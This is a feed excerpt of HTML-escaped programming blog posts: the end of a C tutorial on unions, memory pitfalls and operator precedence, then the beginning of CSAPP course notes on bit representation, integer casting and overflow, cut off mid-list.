&lt;h1&gt;Union&lt;/h1&gt;
&lt;p&gt;&lt;code&gt;union&lt;/code&gt; is just a combination of the two concepts with &lt;code&gt;struct&lt;/code&gt; and &lt;code&gt;enum&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;typedef union AgeOrName {
  int age;
  char *name;
} age_or_name_t;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;age_or_name_t&lt;/code&gt; type can hold either an &lt;code&gt;int&lt;/code&gt; or a &lt;code&gt;char *&lt;/code&gt;, but not both at the same time (that would be a &lt;code&gt;struct&lt;/code&gt;). We provide the list of possible types so that the C compiler knows the maximum potential memory requirement, and can account for that. This is how the union is used:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;age_or_name_t lane = { .age = 29 };
printf(&quot;age: %d\n&quot;, lane.age);
// age: 29
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here&apos;s where it gets interesting. What happens if we try to access the &lt;code&gt;name&lt;/code&gt; field (even though we set the &lt;code&gt;age&lt;/code&gt; field)?&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;printf(&quot;name: %s\n&quot;, lane.name);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A &lt;code&gt;union&lt;/code&gt; only reserves enough space to hold the largest type in the union and then all of the fields use the same memory.&lt;/p&gt;
&lt;p&gt;Then if we try to access &lt;code&gt;.name&lt;/code&gt;, we read from the same block of memory but try to interpret the bytes as a &lt;code&gt;char *&lt;/code&gt;, which is undefined behavior. Put simply, setting the value of &lt;code&gt;.age&lt;/code&gt; overwrites the value of &lt;code&gt;.name&lt;/code&gt; and vice versa, and you should only access the field that you set.&lt;/p&gt;
&lt;h2&gt;Memory Layout&lt;/h2&gt;
&lt;p&gt;Unions store their value in the same memory location, no matter which field or type is actively being used. That means that accessing any field apart from the one you set is generally a bad idea.&lt;/p&gt;
&lt;h2&gt;Union Size&lt;/h2&gt;
&lt;p&gt;A downside of unions is that the size of the union is the size of the largest field in the union. Take this example:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;typedef union IntOrErrMessage {
  int data;
  char err[256];
} int_or_err_message_t;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;int_or_err_message_t&lt;/code&gt; union will take 256 bytes whether it use &lt;code&gt;err&lt;/code&gt; or not.&lt;/p&gt;
&lt;h2&gt;Helper Fields&lt;/h2&gt;
&lt;p&gt;One interesting (albeit not commonly used) trick is to use unions to create &quot;helpers&quot; for accessing different parts of a piece of memory. Consider the following:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;typedef union Color {
  struct {
    uint8_t r;
    uint8_t g;
    uint8_t b;
    uint8_t a;
  } components;
  uint32_t rgba;
} color_t;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Only 4 bytes are used. And, unlike in 99% of scenarios, it makes sense to both set and get values from this union through both the &lt;code&gt;components&lt;/code&gt; and &lt;code&gt;rgba&lt;/code&gt; fields! Both fields in the union are exactly 32 bits in size, which means that we can &quot;safely&quot; (?) access the entire set of colors through the &lt;code&gt;.rgba&lt;/code&gt; field, or get a single color component through the &lt;code&gt;.components&lt;/code&gt; field.&lt;/p&gt;
&lt;p&gt;The convenience of additional fields, with the efficiency of a single memory location!&lt;/p&gt;
&lt;h1&gt;Memory-Related Perils and Pitfalls&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Dereferencing bad pointers&lt;/li&gt;
&lt;li&gt;Reading uninitialized memory&lt;/li&gt;
&lt;li&gt;Overwriting memory&lt;/li&gt;
&lt;li&gt;Referencing nonexistent variables&lt;/li&gt;
&lt;li&gt;Freeing blocks multiple times&lt;/li&gt;
&lt;li&gt;Referencing freed blocks&lt;/li&gt;
&lt;li&gt;Failing to free blocks&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Operators Precedence&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Operators&lt;/th&gt;
&lt;th&gt;Associativity&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;()&lt;/code&gt;, &lt;code&gt;[]&lt;/code&gt;, &lt;code&gt;-&amp;gt;&lt;/code&gt;, &lt;code&gt;.&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;left to right&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;!&lt;/code&gt;, &lt;code&gt;~&lt;/code&gt;, &lt;code&gt;++&lt;/code&gt;, &lt;code&gt;--&lt;/code&gt;, &lt;code&gt;+&lt;/code&gt;, &lt;code&gt;-&lt;/code&gt;, &lt;code&gt;*&lt;/code&gt;, &lt;code&gt;&amp;amp;&lt;/code&gt;, &lt;code&gt;(type)&lt;/code&gt;, &lt;code&gt;sizeof&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;right to left&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;*&lt;/code&gt; &lt;code&gt;/&lt;/code&gt;, &lt;code&gt;%&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;left to right&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+&lt;/code&gt;, &lt;code&gt;-&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;left to right&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;lt;&amp;lt;&lt;/code&gt;, &lt;code&gt;&amp;gt;&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;left to right&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;lt;&lt;/code&gt;, &lt;code&gt;&amp;lt;=&lt;/code&gt;, &lt;code&gt;&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;gt;=&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;left to right&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;==&lt;/code&gt;, &lt;code&gt;!=&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;left to right&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;amp;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;left to right&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;^&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;left to right&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;|&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;left to right&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;left to right&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;||&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;left to right&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;?:&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;right to left&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;=&lt;/code&gt;, &lt;code&gt;+=&lt;/code&gt;, &lt;code&gt;-=&lt;/code&gt;, &lt;code&gt;*=&lt;/code&gt;, &lt;code&gt;/=&lt;/code&gt;, &lt;code&gt;%=&lt;/code&gt;, &lt;code&gt;&amp;amp;=&lt;/code&gt;, &lt;code&gt;^=&lt;/code&gt;, &lt;code&gt;|=&lt;/code&gt;, &lt;code&gt;&amp;lt;&amp;lt;=&lt;/code&gt;, &lt;code&gt;&amp;gt;&amp;gt;=&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;right to left&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;,&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;left to right&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;:::important
Unary &lt;code&gt;+&lt;/code&gt;, &lt;code&gt;-&lt;/code&gt;, and &lt;code&gt;*&lt;/code&gt; have higher precedence than binary forms.
:::&lt;/p&gt;
&lt;h2&gt;Pointer Declarations Quiz&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;int *p&lt;/code&gt;: &lt;strong&gt;p&lt;/strong&gt; is a pointer to &lt;strong&gt;int&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;int *p[13]&lt;/code&gt;: &lt;strong&gt;p&lt;/strong&gt; is an &lt;strong&gt;array[13]&lt;/strong&gt; of pointer to &lt;strong&gt;int&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;int *(p[13])&lt;/code&gt;: &lt;strong&gt;p&lt;/strong&gt; is an &lt;strong&gt;array[13]&lt;/strong&gt; of pointer to &lt;strong&gt;int&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;int **p&lt;/code&gt;: &lt;strong&gt;p&lt;/strong&gt; is a pointer to a pointer to an &lt;strong&gt;int&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;int (*p)[13]&lt;/code&gt;: &lt;strong&gt;p&lt;/strong&gt; is a pointer to an &lt;strong&gt;array[13]&lt;/strong&gt; of &lt;strong&gt;int&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;int *f()&lt;/code&gt;: &lt;strong&gt;f&lt;/strong&gt; is a function returning a pointer to &lt;strong&gt;int&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;int (*f)()&lt;/code&gt;: &lt;strong&gt;f&lt;/strong&gt; is a pointer to a function returning &lt;strong&gt;int&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;int (*(*f())[13])()&lt;/code&gt;: &lt;strong&gt;f&lt;/strong&gt; is a function returning pointer to an &lt;strong&gt;array[13]&lt;/strong&gt; of pointers to functions returning &lt;strong&gt;int&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;int (*(*x[3])())[5]&lt;/code&gt;: &lt;strong&gt;x&lt;/strong&gt; is an &lt;strong&gt;array[3]&lt;/strong&gt; of pointers to functions returning pointers to &lt;strong&gt;array[5]&lt;/strong&gt; of &lt;strong&gt;int&lt;/strong&gt;s&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>The CSAPP Notebook</title><link>https://cubeyond.net/posts/cs-notes/csapp/</link><guid isPermaLink="true">https://cubeyond.net/posts/cs-notes/csapp/</guid><description>CMU 15213/15513 CSAPP learning notes.</description><pubDate>Wed, 16 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;不开心，不想说话……让我们直接进入这段有趣的学习之旅吧，试试两个月，甚至更短的时间内解决掉这门又臭又长的课程。&lt;/p&gt;
&lt;h1&gt;Bits, Bytes, and Integers&lt;/h1&gt;
&lt;h2&gt;Representation information as bits&lt;/h2&gt;
&lt;h3&gt;Everything is bits&lt;/h3&gt;
&lt;h4&gt;Each bit is 0 or 1&lt;/h4&gt;
&lt;h4&gt;By encoding/interpreting sets of bits in various ways&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Computers determine what to do (instructions)&lt;/li&gt;
&lt;li&gt;... and represent and manipulate numbers, sets, strings, etc...&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Why bits ? Electronic Implementation&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Easy to store with bitsable elements&lt;/li&gt;
&lt;li&gt;Reliably transmitted on noisy and inaccurate wires&lt;/li&gt;
&lt;li&gt;Easy to indicate low level/high level&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.1e8wit31ra.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Bit-level manipulations&lt;/h2&gt;
&lt;h3&gt;Representing &amp;amp; Manipulating Sets&lt;/h3&gt;
&lt;h4&gt;Representing Sets&lt;/h4&gt;
&lt;p&gt;We can use bits to determine whether an element belongs to a set. Say each bit have index, which corresponds to a number from zero. If a bit is set to 1, it means the corresponding index (i.e., the element) is in the set. Otherwise, its not.&lt;/p&gt;
&lt;p&gt;In a more mathematical representation way:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Width $w$ bit vector represents subsets subsets of ${0,\ ...,\ w-1}$&lt;/li&gt;
&lt;li&gt;$a_{j} =1$ if $j\in A$&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Sets Operations&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&amp;amp;&lt;/code&gt; is related to Intersection&lt;/li&gt;
&lt;li&gt;&lt;code&gt;|&lt;/code&gt; is related to Union&lt;/li&gt;
&lt;li&gt;&lt;code&gt;~&lt;/code&gt; is related to Complement&lt;/li&gt;
&lt;li&gt;&lt;code&gt;^&lt;/code&gt; is related to Symmetric difference&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Shift Operations&lt;/h3&gt;
&lt;h4&gt;Left Shift: &lt;code&gt;x &amp;lt;&amp;lt; y&lt;/code&gt;&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Shift bit-vector &lt;code&gt;x&lt;/code&gt; left &lt;code&gt;y&lt;/code&gt; positions
&lt;ul&gt;
&lt;li&gt;Throw away extra bits on left&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Fill with 0&apos;s on right&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Right Shift: &lt;code&gt;x &amp;gt;&amp;gt; y&lt;/code&gt;&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Shift bit-vector &lt;code&gt;x&lt;/code&gt; right &lt;code&gt;y&lt;/code&gt; positions
&lt;ul&gt;
&lt;li&gt;Throw away extra bits on right&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Logical shift
&lt;ul&gt;
&lt;li&gt;Fill with 0&apos;s on left&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Arithmetic shift
&lt;ul&gt;
&lt;li&gt;Replicate most significant bit on left&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Undefined Behaviour&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Shift amount $&amp;lt; $ 0&lt;/li&gt;
&lt;li&gt;Shift amount $\geqslant $ word size&lt;/li&gt;
&lt;li&gt;Left shift a signed value&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Integers&lt;/h2&gt;
&lt;h3&gt;Representation: unsigned and signed&lt;/h3&gt;
&lt;h4&gt;Unsigned&lt;/h4&gt;
&lt;p&gt;$$\displaystyle B2U( X) =\sum &lt;em&gt;{i=0}^{w-1} x&lt;/em&gt;{i} \cdot 2^{i}$$&lt;/p&gt;
&lt;h4&gt;Two&apos;s Complement&lt;/h4&gt;
&lt;p&gt;$$\displaystyle B2T( X) =-x_{w-1} \cdot 2^{w-1} +\sum &lt;em&gt;{i=0}^{w-2} x&lt;/em&gt;{i} \cdot 2^{i}$$&lt;/p&gt;
&lt;h4&gt;Invert mappings&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;$U2B( x) =B2U^{-1}( x)$&lt;/li&gt;
&lt;li&gt;$T2B( x) =B2T^{-1}( x)$&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Numeric Ranges&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Unsigned Values&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$\displaystyle UMin\ =\ 0$&lt;/li&gt;
&lt;li&gt;$\displaystyle UMax\ =\ 2^{w} -1$&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Two&apos;s Complement Values&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$\displaystyle TMin = -2^{w-1}$&lt;/li&gt;
&lt;li&gt;$\displaystyle TMax\ =\ 2^{w-1} -1$&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::tip
In C, these ranges are declared in &lt;code&gt;limits.h&lt;/code&gt;. E.g., &lt;code&gt;ULONG_MAX&lt;/code&gt;, &lt;code&gt;LONG_MAX&lt;/code&gt;, &lt;code&gt;LONG_MIN&lt;/code&gt;. Values are platform specific.
:::&lt;/p&gt;
&lt;h4&gt;Observations&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;$|TMin|=TMax+1$
&lt;ul&gt;
&lt;li&gt;Asymmetric range (Every positive value can be represented as a negative value, but $TMin$ cannot be represented as a positive value)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;$UMax\ =\ 2\cdot TMax+1$&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Difference between Unsigned &amp;amp; Signed Numeric Values&lt;/h4&gt;
&lt;p&gt;The difference between Unsigned &amp;amp; Signed Numeric Values is $2^{w}$.&lt;/p&gt;
&lt;p&gt;For example, if you want convert a unsigned numeric value to its signed form, just use this value minus $2^{w}$, or if you want convert a signed numeric value to its unsigned form, you plus $2^{w}$.&lt;/p&gt;
&lt;h3&gt;Conversion, casting&lt;/h3&gt;
&lt;p&gt;Mappings between unsigned and two&apos;s complement numbers keep bit representations and reinterpret.&lt;/p&gt;
&lt;p&gt;For example, casting a signed value to its unsigned form, the most significant bit from large negative weight becomes to large positive weight and vice versa.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.86ty59tug4.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Constants&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;By default are considered to be signed integers&lt;/li&gt;
&lt;li&gt;Unsigned if have &quot;U&quot; as suffix&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Casting&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Explicit casting between signed &amp;amp; unsigned same as $U2T$ and $T2U$&lt;/li&gt;
&lt;li&gt;Implicit casting also occurs via assignments and procedure call (assignments will casting to lhs&apos;s type)&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Expression Evaluation&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;If there is a mix of unsigned and signed in single expression, signed values implicitly cast to unsigned&lt;/li&gt;
&lt;li&gt;Including comparison operations &lt;code&gt;&amp;lt;&lt;/code&gt;, &lt;code&gt;&amp;gt;&lt;/code&gt;, &lt;code&gt;==&lt;/code&gt;, &lt;code&gt;&amp;lt;=&lt;/code&gt;, &lt;code&gt;&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Constants 1&lt;/th&gt;
&lt;th&gt;Constants 2&lt;/th&gt;
&lt;th&gt;Relation&lt;/th&gt;
&lt;th&gt;Evaluation&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0U&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;==&lt;/td&gt;
&lt;td&gt;unsigned&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;lt;&lt;/td&gt;
&lt;td&gt;signed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0U&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;gt;&lt;/td&gt;
&lt;td&gt;unsigned&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;2147483647&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;-2147483647-1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;gt;&lt;/td&gt;
&lt;td&gt;signed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;2147483647U&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;-2147483647-1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;lt;&lt;/td&gt;
&lt;td&gt;unsigned&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;-2&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;gt;&lt;/td&gt;
&lt;td&gt;signed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;(unsigned)-1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;-2&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;gt;&lt;/td&gt;
&lt;td&gt;unsigned&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;2147483647&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;2147483648U&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;lt;&lt;/td&gt;
&lt;td&gt;unsigned&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;2147483647&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;(int)2147483648U&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;gt;&lt;/td&gt;
&lt;td&gt;signed&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Expanding, truncating&lt;/h3&gt;
&lt;h4&gt;Sign Extension&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Make $k$ copies of sign bit&lt;/li&gt;
&lt;li&gt;$\displaystyle X\prime =X_{w-1} ,...,X_{w-1} ,X_{w-1} ,X_{w-2} ,...,X_{0}$&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.5trbo2gghg.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::warning
Converting from smaller to larger integer data type. C automatically performs sign extension.
:::&lt;/p&gt;
&lt;h4&gt;Expanding (e.g., short int to int)&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Unsigned: zeros added&lt;/li&gt;
&lt;li&gt;Signed: sign extension&lt;/li&gt;
&lt;li&gt;Both yield expected result&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Truncating (e.g., unsigned to unsigned short)&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Unsigned/signed: bits are truncated&lt;/li&gt;
&lt;li&gt;Result reinterpreted&lt;/li&gt;
&lt;li&gt;Unsigned: mod operation&lt;/li&gt;
&lt;li&gt;Signed: similar to mod&lt;/li&gt;
&lt;li&gt;For small numbers yields expected behavior&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Addition, negation, multiplication, shifting&lt;/h3&gt;
&lt;h4&gt;Unsigned Addition&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Standard Addition Function
&lt;ul&gt;
&lt;li&gt;Ignore carry output&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Implements Modular Arithmetic
&lt;ul&gt;
&lt;li&gt;$\displaystyle UAdd_{w}( u,v) =( u+v)\bmod 2^{w}$&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.lw112nu4l.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h5&gt;Visualizing (Mathematical) Integer Addition&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;Integer Addition
&lt;ul&gt;
&lt;li&gt;4-bit integers $u,v$&lt;/li&gt;
&lt;li&gt;Compute true sum $Add_{4}( u,v)$&lt;/li&gt;
&lt;li&gt;Values increase linearly with $u$ and $v$&lt;/li&gt;
&lt;li&gt;Forms planar surface&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.4qrmd6lcsq.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h5&gt;Visualizing Unsigned Addition&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;Wraps Around
&lt;ul&gt;
&lt;li&gt;If true sum $\geqslant 2^{w}$&lt;/li&gt;
&lt;li&gt;At most once&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.45hyqvrbgg.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Two&apos;s Complement Addition&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;$TAdd$ and $UAdd$ have Identical Bit-level Behaviour&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.1e8wit5juy.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Signed vs. Unsigned Addition in C:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int s, t, u, v;

s = (int)((unsigned)u + (unsigned)v);
t = u + v;

// will give s == t
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;TAdd Overflow&lt;/h5&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.7eh2njfkev.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Functionality
&lt;ul&gt;
&lt;li&gt;True sum requires $w+1$ bits&lt;/li&gt;
&lt;li&gt;Drop off MSB&lt;/li&gt;
&lt;li&gt;Treat remaining bits as two&apos;s complement integer&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.6wr0yyekf9.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h5&gt;Visualizing Two&apos;s Complement Addition&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;Values
&lt;ul&gt;
&lt;li&gt;4-bit two&apos;s comp.&lt;/li&gt;
&lt;li&gt;Range from $-8$ to $+7$&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Wraps Around
&lt;ul&gt;
&lt;li&gt;If sum $\geqslant 2^{w-1}$
&lt;ul&gt;
&lt;li&gt;Becomes negative&lt;/li&gt;
&lt;li&gt;At most once&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;If sum $&amp;lt; -2^{w-1}$
&lt;ul&gt;
&lt;li&gt;Becomes positive&lt;/li&gt;
&lt;li&gt;At most once&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.pfmysj7jj.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Multiplication&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Goal: Computing Product of $w$-bit numbers $x,y$
&lt;ul&gt;
&lt;li&gt;Either signed or unsigned&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;But, exact results can be bigger than $w$ bits
&lt;ul&gt;
&lt;li&gt;Unsigned: up to $2w$ bits
&lt;ul&gt;
&lt;li&gt;Result range: $0\leqslant x\cdot y\leqslant \left( 2^{w} -1\right)^{2} =2^{2w} -2^{w+1} +1$&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Two&apos;s complement min (negative): Up to $2w-1$ bits
&lt;ul&gt;
&lt;li&gt;Result range: $x\cdot y\geqslant \left( -2^{w-1}\right) \cdot \left( 2^{w-1} -1\right) =-2^{2w-2} +2^{w-1}$&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Two&apos;s complement max (positive): Up to $2w$ bits, but only for $( TMin_{w})^{2}$
&lt;ul&gt;
&lt;li&gt;Result range: $x\cdot y\leqslant \left( -2^{w-1}\right)^{2} =2^{2w-2}$&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
